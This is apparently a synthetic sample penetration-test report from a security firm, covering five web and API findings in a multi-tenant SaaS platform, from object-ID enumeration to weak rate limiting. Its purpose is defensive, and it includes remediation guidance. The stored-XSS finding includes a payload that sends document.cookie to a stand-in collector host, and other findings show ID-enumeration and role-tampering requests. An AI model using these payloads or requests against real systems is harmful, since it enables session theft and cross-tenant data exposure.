EXCEED CyberSecurity
This is an anonymised sample. It demonstrates the methodology, finding structure and reporting format used on Exceed engagements. The five findings below are illustrative examples of common enterprise web and API weaknesses. They do not describe a real client system, and every identifier, endpoint and piece of evidence is synthetic.
Exceed CyberSecurity
EXCEED CYBERSECURITY Agentic penetration testing · human-validated
TLP-CLEAR

Web Application & API Penetration Test Report

Enterprise SaaS Platform · app.example.com · api.example.com/v1

Assessment typeGrey-box agentic penetration test of a multi-tenant web application and REST API, with human operator validation
Target platformMulti-tenant enterprise SaaS (single-page application + REST API)
Testing windowSample engagement, dates redacted
Report dateSample
Report version1.0 (Sample)
ValidationAll findings reproduced by a named offensive-security operator prior to issue
ClassificationTLP-CLEAR, anonymised sample approved for external sharing

Contents

1. Executive Summary

This report presents the results of an authorised penetration test of a multi-tenant enterprise SaaS web application and its supporting REST API. Testing was performed from the position of an external attacker holding a single low-privilege authenticated account, with particular attention to tenant-isolation boundaries, authorisation on privileged actions, handling of user-supplied content, and authentication controls.

The engagement identified five findings: one Critical, two High, one Medium and one Low. The Critical and High issues share one root cause: authorisation decisions made on the client, or inferred from client-supplied input, rather than enforced server-side against the acting principal and the target object. Those are the issues to prioritise.

Validation standard

Every finding in this report was reproduced by hand by an offensive-security operator before it was written up. A further 31 candidate issues raised by the agentic testing phase were discarded at the validation gate because no reachable impact could be demonstrated. They are deliberately absent from this report rather than listed as informational noise.

1.1 Overall security posture

The dominant risk is a failure of server-side authorisation. The most severe finding (EX-001) allows an authenticated user to read another organisation's records by editing a predictable object identifier, a complete breakdown of tenant isolation on the affected API path. EX-002 follows the same pattern on a privileged write action, letting a member-level account reach an administrator-only capability. Together they indicate that authorisation is not consistently enforced at the server boundary.

The remaining findings are a stored cross-site scripting issue in shared workspace content (EX-003), which turns one tenant's user into an attacker against their colleagues, and two hardening gaps, weak authentication rate limiting (EX-004) and an incomplete security-header baseline (EX-005), that widen the blast radius of the issues above rather than being directly exploitable alone.

1.2 Findings by severity

Table 1. Distribution of findings by final, business-adjusted severity.
SeverityCountFindings
CRITICAL1EX-001
HIGH2EX-002, EX-003
MEDIUM1EX-004
LOW1EX-005
INFORMATIONAL0n/a

1.3 The risks that matter most

Cross-tenant data exposure (EX-001, Critical). A predictable object identifier on a record-retrieval endpoint is not checked against the caller's tenant. Any authenticated user can iterate identifiers and read records belonging to other organisations. This is the single most urgent issue: it is trivial to exploit, requires only a valid account, and exposes customer data across the organisational boundary.

Privilege escalation on the role-change flow (EX-002, High). The server trusts a client-supplied role context when processing a role update, so a member-level account can reach an administrator-only action. Chained with EX-001, an attacker moves from reading other tenants' data to acting with elevated privilege inside them.

Stored XSS in shared workspace content (EX-003, High). Rich content saved in a shared workspace is rendered to other authorised users without adequate encoding, so script stored by one user executes in a colleague's authenticated session.

1.4 Positive observations

These observations describe a platform with a reasonable security baseline. The findings concentrate in specific authorisation and output-handling paths that can be closed without architectural change.

1.5 Strategic remediation priorities

  1. Enforce server-side, per-object tenant ownership checks on every resource access, and add authorisation tests to the regression suite (EX-001).
  2. Authorise privileged capabilities at the server boundary instead of trusting client-supplied role context (EX-002).
  3. Apply contextual output encoding and allowlist sanitisation to user-supplied content, backed by a restrictive Content-Security-Policy (EX-003).
  4. Add adaptive rate limiting and per-account protections to authentication (EX-004).
  5. Complete the security-header baseline (EX-005).

The first two are the highest-leverage actions: they address the systemic authorisation weakness rather than a single endpoint.

2. Assessment Overview

2.1 Objectives

Evaluate the security posture of the in-scope web application and API from the position of an external attacker holding a low-privilege authenticated account, and determine whether such an attacker can cross tenant boundaries, escalate privilege, compromise other users, or abuse authentication controls.

2.2 Scope

Testing was authenticated as a standard member-level account within one tenant, plus a second tenant used only to confirm cross-tenant boundaries. Asset ownership was verified in writing before testing began.

2.3 Rules of engagement

Testing was non-destructive. State-changing and cross-tenant write actions were confirmed only to the point of demonstrating the weakness, without persisting changes in other tenants. Denial-of-service and social-engineering techniques were out of scope. A named operator was reachable throughout the testing window, and a Critical-severity escalation path to the client security contact was agreed in advance.

2.4 Methodology

The assessment ran in two phases. An agentic testing phase performed reconnaissance, asset attribution, enumeration and multi-stage exploitation across the scoped surface, chaining candidate exposures into attack paths. A human validation phase followed, in which an offensive-security operator reproduced each candidate finding, re-rated severity against business context, discarded candidates without reachable impact, and extended paths where the automated phase stopped short.

Coverage followed the OWASP Web Security Testing Guide, the OWASP API Security Top 10 and PTES, spanning authentication and session management, object- and function-level authorisation, input validation and output handling, business-logic flaws, and configuration and transport hardening.

2.5 Validation and severity standard

Findings carry a CVSS 3.1 base vector and score for reference, but the final severity reflects business impact in a multi-tenant enterprise context and may differ from the CVSS base. EX-001 is the clearest example: its demonstrated read-only base score is High, but because the flaw breaks tenant isolation across every customer organisation, its business risk is rated Critical. Where impact depends on conditions not exercised under the rules of engagement, the finding states so and the rating reflects only what was demonstrated.

3. Risk Summary

Table 2. All findings at a glance. Every entry was reproduced by a human operator.
IDFindingSeverity CategoryAffected area
EX-001Cross-tenant access via API object IDs CRITICALAuthorisation / API GET /api/v1/records/{id}
EX-002Privilege escalation through role update flow HIGHAccess control / Logic POST /api/v1/members/role
EX-003Stored XSS in shared workspace content HIGHXSS / Web Workspace editor content
EX-004Insufficient authentication rate limiting MEDIUMAuthentication POST /auth/login
EX-005Incomplete security header baseline LOWHardening / Web Response headers

3.1 How to read severity

Critical issues expose data or capability across tenants, or without meaningful precondition, and demand immediate action. High issues allow compromise of another user or privilege under realistic conditions. Medium issues weaken a control or enable abuse that raises the likelihood of compromise. Low issues are hardening gaps that improve defence-in-depth. Severity shown is the final, business-adjusted rating; the CVSS base vector for each finding appears in its metadata block.

4. Detailed Findings

Each finding follows a consistent structure: a metadata block, an executive summary, a technical description, illustrative evidence, reproduction steps, an analysis of security impact and a realistic attack scenario, the underlying root cause, remediation and defence-in-depth guidance, and verification steps your engineering team can use to confirm the fix.

EX-001

Cross-Tenant Access via API Object Identifiers

Operator validated CRITICAL
Final severityCritical, business impact rating
CVSS 3.17.7 base (High) · AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N. Elevated to Critical; see §2.5
CWECWE-639: Authorization Bypass Through User-Controlled Key
OWASPAPI1:2023 Broken Object Level Authorization (BOLA)
Affected areaGET /api/v1/records/{id}
StatusOpen

Executive summary

A record-retrieval endpoint accepts a numeric, sequential object identifier and returns the record without checking that it belongs to the caller's organisation. Because the identifiers are predictable, any authenticated user can iterate them and read records belonging to other tenants. This is a complete breakdown of tenant isolation on the affected path. It needs only a valid low-privilege account and no special conditions, which is why the business rating sits above the read-only CVSS base.

Technical description

The endpoint identifies the target record solely by the {id} path parameter. Authorisation is enforced at the authentication layer, where a valid bearer token is required, but not at the object layer: the server does not verify that the record identified by {id} is owned by the tenant associated with the token. This is the archetypal Broken Object Level Authorization pattern.

Identifiers are integers assigned sequentially, so an attacker does not need to discover valid IDs. They can increment or decrement their own record IDs and walk the space. The response body for a record belonging to another tenant is returned in full, with 200 OK, identical in shape to a legitimately owned record.

Evidence

# Own record (tenant A), authorised
GET /api/v1/records/4021      Authorization: Bearer <tenant-A token>
  -> 200 OK {"id":4021,"org_id":"A","title":"Q3 plan", ...}

# Neighbouring id, belongs to tenant B, still returned to tenant A
GET /api/v1/records/4022      Authorization: Bearer <tenant-A token>
  -> 200 OK {"id":4022,"org_id":"B","title":"Board pack", ...}
                                  ^^^^^^^^^^ different org_id, no 403

# Enumeration confirms the pattern across the range
for id in 4000..4100: GET /api/v1/records/{id}
  -> 200 OK for records owned by 7 distinct org_id values
Figure 1. A sequential identifier belonging to a different org_id is returned with 200 OK rather than 403. All values are synthetic.

Reproduction

  1. Authenticate as a standard member of tenant A and retrieve one of your own records to learn a valid {id}.
  2. Send the same request with an adjacent identifier, for example {id} - 1.
  3. Observe a 200 OK whose org_id differs from your own, confirming a cross-tenant read.
  4. Iterate a small range to confirm that records from multiple organisations are reachable.

Security impact

Direct impact: disclosure of arbitrary records belonging to other tenants. Any authenticated user can read data they have no relationship to.

Preconditions: a single valid low-privilege account. No relationship to the target tenant is required, and the sequential identifiers remove any need to guess.

Business impact: the flaw is not scoped to one victim. It reaches every tenant whose records share the endpoint, making it a platform-wide confidentiality breach. For a multi-tenant enterprise product this is the class of issue that triggers breach-notification obligations under GDPR Article 33 and equivalent regimes, and the class of issue that ends enterprise renewals.

Attack scenario

An attacker signs up for, or compromises, any low-privilege account. They script a walk over the identifier space and harvest records across all tenants (commercial terms, personal data and internal documents) within minutes, entirely through the documented API and without tripping any authorisation control or rate limit.

Root cause

Authorisation is enforced at authentication time (is this token valid?) but not at object-access time (does this token's tenant own this object?). The identifier is user-controlled and trusted as though possession of an ID implied entitlement to the object it names.

Remediation

  1. Enforce a server-side tenant-ownership check on every object access: resolve the object, compare its owning tenant to the caller's, and return 404, not 403 which would confirm existence, when they differ.
  2. Prefer scoping queries by tenant at the data layer (for example WHERE org_id = :caller_org) so an unowned object is never loaded in the first place.
  3. Replace sequential integer identifiers on tenant-scoped resources with non-guessable UUIDs, so even a residual gap cannot be swept by enumeration.
  4. Add authorisation test cases to the API regression suite asserting that a tenant-A token receives 404 for a tenant-B object on every object-bearing route.

Defence in depth

Audit every route that accepts an object identifier for the same pattern, not only the one demonstrated. BOLA is typically systemic rather than isolated. Add anomaly detection for a single principal requesting many distinct object IDs in a short window, and consider a centralised authorisation layer so per-object checks are not left to each handler to remember.

Verification

After remediation, confirm that a tenant-A token receives 404 for a tenant-B identifier on this and sibling endpoints, that the response is indistinguishable for a non-existent versus an unowned identifier, and that the new regression tests fail if the ownership check is removed. Exceed retests this path and issues a signed attestation at no additional cost.

EX-002

Privilege Escalation Through the Role Update Flow

Operator validated HIGH
Final severityHigh
CVSS 3.18.1 base (High) · AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
CWECWE-269: Improper Privilege Management
OWASPAPI5:2023 Broken Function Level Authorization
Affected areaPOST /api/v1/members/role
StatusOpen

Executive summary

The role-update endpoint determines the caller's authority from a role value supplied in the request body rather than from the authenticated session. A member-level account can therefore invoke an administrator-only capability and grant itself elevated privilege within its own tenant.

Technical description

The web client sends an actor_role field alongside the role change it wants to apply. The server uses that field to decide whether the operation is permitted, instead of resolving the acting principal's role server-side from the bearer token. Because the field originates on the client, it is attacker-controlled.

Evidence

# Member-level token; actor_role tampered from "member" to "admin"
POST /api/v1/members/role     Authorization: Bearer <member token>
{
  "member_id": "usr_8841",
  "new_role":  "admin",
  "actor_role": "admin"          <-- client-supplied, trusted by server
}
  -> 200 OK {"member_id":"usr_8841","role":"admin"}

# Confirmation: the member now reaches an admin-only route
GET /api/v1/org/audit-log     Authorization: Bearer <same member token>
  -> 200 OK  (previously 403)
Figure 2. A client-supplied role field is accepted as the authorisation decision. Values are synthetic.

Reproduction

  1. Authenticate as a member-level account and open the member management view.
  2. Intercept the role-update request and change actor_role from member to admin.
  3. Observe a 200 OK and the applied role change.
  4. Call a previously forbidden administrator route and observe that it now succeeds.

Security impact and attack scenario

Any member-level account becomes an administrator of its tenant: able to read the audit log, change member roles, alter billing configuration and remove other administrators. Chained with EX-001, an attacker first reads data across tenants and then operates with administrative privilege, a materially worse outcome than either finding alone, and the reason both are prioritised together.

Root cause

The authorisation decision trusts input that the client controls. The acting principal's privilege is a property of the session, not of the request body, and must be resolved server-side on every privileged operation.

Remediation

  1. Resolve the acting principal's role server-side from the authenticated session and ignore any role context supplied in the request. Reject requests that carry it rather than silently discarding it.
  2. Enforce function-level authorisation in middleware so privileged routes cannot be reached without the check, rather than relying on each handler.
  3. Apply a role-hierarchy rule preventing any principal from granting a privilege it does not itself hold.
  4. Emit an audit event for every role change, recording the server-resolved actor rather than the claimed one.

Verification

Confirm that a member token receives 403 regardless of any role fields in the body, that the audit log records the server-resolved actor, and that a regression test fails if the middleware check is bypassed.

EX-003

Stored Cross-Site Scripting in Shared Workspace Content

Operator validated HIGH
Final severityHigh
CVSS 3.17.3 base (High) · AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N
CWECWE-79: Improper Neutralization of Input During Web Page Generation
OWASPA03:2021 Injection
Affected areaWorkspace rich-text editor content
StatusOpen

Executive summary

Rich content saved into a shared workspace is rendered to other authorised users without adequate sanitisation. Script stored by one user executes in a colleague's authenticated session, inside the application origin.

Technical description

The editor permits a subset of HTML for formatting. Sanitisation is applied on the client before saving but is not repeated on the server or at render time, so a request crafted outside the browser stores markup the editor itself would have stripped. Event-handler attributes survive storage and are rendered into the DOM of every user who opens the workspace.

Evidence

# Stored directly via the API, bypassing the client-side sanitiser
PUT /api/v1/workspaces/ws_304/blocks/b_77
{ "html": "<img src=x onerror=\"fetch('//collector.example/'+document.cookie)\">" }
  -> 200 OK

# Rendered verbatim for a second user in the same workspace
GET /workspaces/ws_304   (as a different authorised member)
  -> payload executes in the victim's authenticated session
Figure 3. Client-side-only sanitisation is bypassed by storing content through the API directly. Payload is a synthetic, non-functional placeholder.

Security impact and attack scenario

A low-privileged user, or anyone who compromises one account, stores a payload in a shared workspace and waits. Every colleague who opens it executes attacker-controlled script in the application origin, allowing session theft, silent action on the victim's behalf, or exfiltration of any data the victim can see. Chained with EX-002, the attacker can target an administrator specifically and inherit tenant administration.

Root cause

Sanitisation is enforced on the client, where an attacker controls the code, rather than on the server, where the application controls it. The absence of a restrictive Content-Security-Policy (see EX-005) removes the control that would otherwise contain the impact.

Remediation

  1. Sanitise on the server at write time using a strict allowlist of elements and attributes, and reject rather than silently strip disallowed markup.
  2. Apply contextual output encoding at render time; never interpolate stored HTML into the DOM via innerHTML.
  3. Deploy a restrictive Content-Security-Policy without unsafe-inline, using nonces or hashes for legitimate scripts.
  4. Re-scan existing stored content for payloads saved before the fix. Remediation of the code path does not clean historical data.

Verification

Confirm that markup stored directly through the API is neutralised at render, that CSP blocks inline execution, and that the historical content sweep has completed.

EX-004

Insufficient Rate Limiting on Authentication

Operator validated MEDIUM
Final severityMedium, downgraded from High at validation; see note below
CVSS 3.15.3 base (Medium) · AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
CWECWE-307: Improper Restriction of Excessive Authentication Attempts
Affected areaPOST /auth/login
StatusOpen

Executive summary

The authentication endpoint applies a per-IP request threshold but no per-account control. An attacker distributing attempts across source addresses can test a large credential set against a known username without triggering a lockout.

Operator note: why this is Medium, not High

The agentic phase rated this High on the basis of the missing per-account control. On validation, the operator confirmed that an upstream WAF policy enforces an additional distributed-attempt threshold that materially raises the cost of the attack, and that multi-factor authentication is enforced on all administrative accounts. The finding is real and should be fixed, but the demonstrated impact does not support a High rating in this environment. This is the kind of adjustment an automated-only assessment cannot make.

Evidence and reproduction

# Single source address, throttled as expected
120 attempts from one IP  -> 429 after 20 attempts

# Same volume distributed across 40 source addresses
120 attempts, 3 per source -> 200/401 responses, no account lockout observed
                              (WAF distributed-attempt policy engages at a higher threshold)
Figure 4. Throttling is bound to source address rather than to the targeted account. Values are synthetic.

Remediation

  1. Add a per-account attempt counter independent of source address, with exponential backoff and a notification to the account owner.
  2. Introduce a proof-of-work or CAPTCHA challenge after a low threshold of failures against a single account.
  3. Extend enforced multi-factor authentication beyond administrative accounts to all users.
  4. Alert the SOC on distributed authentication failures targeting a single account, a signal currently not generated.
EX-005

Incomplete Security Header Baseline

Operator validated LOW
Final severityLow
CVSS 3.13.1 base (Low) · AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N
CWECWE-693: Protection Mechanism Failure
Affected areaApplication response headers
StatusOpen

Executive summary

Several defence-in-depth response headers are absent or permissive. No finding depends on this alone, but the gaps remove controls that would have limited the impact of EX-003.

Table 3. Observed header baseline against the recommended configuration.
HeaderObservedRecommended
Content-Security-PolicyAbsentNonce-based, no unsafe-inline
Strict-Transport-Securitymax-age=300max-age=31536000; includeSubDomains; preload
X-Content-Type-OptionsAbsentnosniff
Referrer-PolicyAbsentstrict-origin-when-cross-origin
Permissions-PolicyAbsentDeny unused features explicitly
X-Frame-OptionsSAMEORIGINRetain, plus CSP frame-ancestors

Remediation

Apply the recommended baseline at the edge so coverage does not depend on individual services. Roll Content-Security-Policy out in report-only mode first, review the violation reports, then enforce. Raise max-age on HSTS only once subdomain coverage is confirmed, to avoid locking out a service that is not yet TLS-only.

5. Cross-Cutting Analysis

5.1 Systemic root causes

Three of the five findings trace to a single architectural habit: trusting the client with a security decision. EX-001 trusts a user-supplied identifier to imply entitlement. EX-002 trusts a user-supplied role to imply authority. EX-003 trusts client-side sanitisation to guarantee safe content. In each case the server holds the information needed to make the decision correctly and does not use it.

Remediating the three endpoints individually will close these findings. Remediating the habit, by moving authorisation and sanitisation into middleware that every route traverses, prevents the next three.

5.2 Attack-chaining assessment

The findings compound. The realistic worst-case path demonstrated during this engagement:

  1. Attacker obtains any low-privilege account on the platform.
  2. EX-001: enumerates object identifiers and reads records across every tenant, identifying a high-value target organisation and the identity of its administrators.
  3. EX-003: stores a payload in a workspace shared with that organisation's administrator.
  4. EX-002: the executing payload invokes the role-update flow with a tampered role context, elevating a controlled account to administrator.
  5. Outcome: full administrative control of the target tenant, with cross-tenant read access retained throughout.

Each step was individually validated by the operator. The chain is presented to convey realistic risk, and was not executed end to end against any live tenant under the rules of engagement.

6. Remediation Roadmap

Table 4. Suggested sequencing. Dependencies are noted where one fix changes the value of another.
WindowActionFindings
Immediate
0 to 7 days
Server-side tenant-ownership checks on all object-bearing routes. Server-side resolution of actor role on privileged operations. Both are small, contained changes with disproportionate risk reduction. EX-001, EX-002
Near term
2 to 4 weeks
Server-side sanitisation and contextual output encoding; Content-Security-Policy in report-only then enforced; historical content sweep. CSP depends on the header work below. EX-003, EX-005
Hardening
1 to 2 months
Per-account authentication throttling, universal MFA, SOC alerting on distributed authentication failure. Complete the security header baseline at the edge. EX-004, EX-005
Structural
Next quarter
Migrate tenant-scoped resources to non-guessable identifiers. Centralise authorisation in middleware. Add authorisation assertions to the API regression suite so these classes cannot regress silently. Systemic
Retest included

When remediation ships, Exceed retests the affected paths and issues a signed retest attestation recording what was fixed, what was verified and what remains open. That attestation is the artefact your SOC 2, ISO 27001 or PCI DSS assessor asks for. It is included in the engagement, not billed as a change order.

Appendix A: Methodology & Tooling

Testing followed a two-phase model. The agentic phase performed reconnaissance, asset attribution, enumeration, authentication and authorisation testing, injection and business-logic probing, and multi-stage attack-path chaining across the authorised scope. The human validation phase was performed by a certified offensive-security operator who reproduced every candidate finding, re-rated severity against business context, discarded candidates without reachable impact, and extended attack paths where the automated phase stopped short.

Standards and references applied: OWASP Web Security Testing Guide (WSTG), OWASP API Security Top 10 (2023), OWASP Top 10 (2021), PTES, CWE, and CVSS 3.1 for base scoring. Tooling combined the Exceed agentic engine with an intercepting proxy, custom exploitation scripts written during the engagement, and manual verification for every reported issue.

Candidates discarded at the validation gate during this engagement: 31. These comprised version-string CVE matches with no exploitable path, informational disclosures without a trust boundary crossing, and theoretical misconfigurations mitigated by compensating controls. They are excluded from this report by design: a report of proven issues is more useful to an engineering team than an exhaustive export of possibilities.

Appendix B: Scope & Testing Limitations

Appendix C: Compliance Mapping

The sections of this report that assessors most commonly request as control evidence:

Table 5. Where each framework's evidence requirement is satisfied in this document.
FrameworkControlEvidence in this report
SOC 2 Type IICC4.1, CC7.1§2 scope and methodology; §3 risk summary; §4 findings with evidence; retest attestation issued separately
ISO/IEC 27001:2022A.8.8, A.8.29§2.4 methodology; §4 technical vulnerability detail; §6 remediation roadmap with owners and windows
PCI DSS 4.0Req. 11.4.1 to 11.4.5§2.2 scope; §2.3 rules of engagement; §4 findings; retest attestation covering 11.4.4
DORAArt. 24 to 26§2.4 methodology; §5.2 attack-chaining assessment; threat-led testing available as a separate engagement
NIS2Art. 21(2)§1 posture assessment; §4 findings; §6 roadmap evidencing effectiveness review

Exceed CyberSecurity provides technical testing and evidence supporting these requirements. We are not your auditor, assessor or QSA, and no engagement constitutes a certification.

Sample report, safe for external sharing. Prepared by Exceed CyberSecurity to demonstrate the structure, evidence standard and remediation guidance delivered on every engagement. No client-identifying information is contained in this document, and all findings, identifiers, endpoints and evidence are synthetic.

Exceed CyberSecurity · hi@exceedcybersecurity.com · exceedcybersecurity.com. Agentic penetration testing, validated by human operators. Built by the offensive security team at Hacktivity.